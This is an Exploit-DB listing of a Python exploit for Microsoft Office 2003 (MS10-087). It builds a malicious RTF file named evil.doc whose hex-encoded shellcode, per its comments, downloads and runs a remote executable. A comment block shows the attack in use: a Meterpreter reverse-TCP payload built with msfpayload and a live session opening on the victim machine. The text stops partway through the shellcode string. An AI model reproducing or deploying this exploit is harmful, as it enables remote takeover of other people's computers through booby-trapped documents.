Exploit-DB #18334
Description: Microsoft Office 2003 Home/Pro - Code Execution (MS10-087)
Type: local
Platform: windows
Date: 2012-01-08
Author: b33f & g11tch

Exploit:
#!/usr/bin/python

#
# Note from the Exploit-DB team: This might be the same bug as:
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
#

#-----------------------------------------------------------------------------------#
# Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3               #
# Authors: b33f (Ruben Boonen) && g11tch (Chris Hodges)                             #
#####################################################################################
# One shellcode to rule them all, One shellcode to find them, One shellcode to      #
# bring them all and in the darkness bind them!!                                    #
#                                                                                   #
# Greetings: offsec, corelan, setoolkit                                             #
#####################################################################################
# (1) root@bt:~/Desktop/office# ./office2003.py                                     #
#     root@bt:~/Desktop/office# mv evil.doc /var/www/                               #
#                                                                                   #
# (2) msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=9988 X #
#     > /var/www/magic.exe                                                          #
#                                                                                   #
# (3) msf  exploit(handler) > exploit                                               #
#                                                                                   #
#    [*] Started reverse handler on 192.168.111.132:9988                            #
#    [*] Starting the payload handler...                                            #
#    [*] Sending stage (752128 bytes) to 192.168.111.128                            #
#    [*] Meterpreter session 1 opened (192.168.111.132:9988 -> 192.168.111.128:1073)#
#        at 2012-01-08 18:46:26 +0800                                               #
#                                                                                   #
#    meterpreter > ipconfig                                                         #
#                                                                                   #
#    MS TCP Loopback interface                                                      #
#    Hardware MAC: 00:00:00:00:00:00                                                #
#    IP Address  : 127.0.0.1                                                        #
#    Netmask     : 255.0.0.0                                                        #
#                                                                                   #
#   AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport               #
#   Hardware MAC: 00:0c:29:6c:92:42                                                 #
#   IP Address  : 192.168.111.128                                                   #
#   Netmask     : 255.255.255.0                                                     #
#-----------------------------------------------------------------------------------#

import binascii

filename = "evil.doc"

#-----------------------------------------------------------------------------------#
# File Structure                                                                    #
#-----------------------------------------------------------------------------------#
file = (
"{\\rt##{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\s"
"hpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv{\*\*\*\*\*"
"\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff")

#-----------------------------------------------------------------------------------#
# Open raw socket to download payload to parent directory as "a.exe"                #
# ==> cmd execute "a.exe"                                                           #
#-----------------------------------------------------------------------------------#
magic = (
"\x65\x62\x37\x37\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30"
"\x38\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65"
"\x30\x38\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39"
"\x34\x66\x31\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63"
"\x32\x34\x32\x34\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x30\x35"
"\x37\x38\x30\x31\x65\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61"
"\x32\x30\x30\x31\x65\x62\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34"
"\x38\x62\x30\x31\x65\x65\x33\x31\x66\x66\x33\x31\x63\x30\x66\x63"
"\x61\x63\x38\x34\x63\x30\x37\x34\x30\x37\x63\x31\x63\x66\x30\x64"
"\x30\x31\x63\x37\x65\x62\x66\x34\x33\x62\x37\x63\x32\x34\x32\x38"
"\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34\x30\x31\x65\x62\x36\x36"
"\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31\x63\x30\x31\x65\x62"
"\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39\x34\x34\x32\x34"
"\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66\x66\x66\x66"
"\x35\x66\x38\x31\x65\x66\x39\x38\x66\x66\x66\x66\x66\x66\x65\x62"
"\x30\x35\x65\x38\x65\x64\x66\x66\x66\x66\x66\x66\x36\x38\x38\x65"
"\x34\x65\x30\x65\x65\x63\x35\x33\x65\x38\x39\x34\x66\x66\x66\x66"
"\x66\x66\x33\x31\x63\x39\x36\x36\x62\x39\x36\x66\x36\x65\x35\x31"
"\x36\x38\x37\x35\x37\x32\x36\x63\x36\x64\x35\x34\x66\x66\x64\x30"
"\x36\x38\x33\x36\x31\x61\x32\x66\x37\x30\x35\x30\x65\x38\x37\x61"
"\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x35\x31\x35\x31\x38\x64"
"\x33\x37\x38\x31\x63\x36\x65\x65\x66\x66\x66\x66\x66\x66\x38\x64"
"\x35\x36\x30\x63\x35\x32\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38"
"\x39\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x35\x62\x66\x66"
"\x66\x66\x66\x66\x34\x31\x35\x31\x35\x36\x66\x66\x64\x30\x36\x38"
"\x37\x65\x64\x38\x65\x32\x37\x33\x35\x33\x65\x38\x34\x62\x66\x66"
"\x66\x66\x66\x66\x66\x66\x64\x30\x36\x33\x36\x64\x36\x34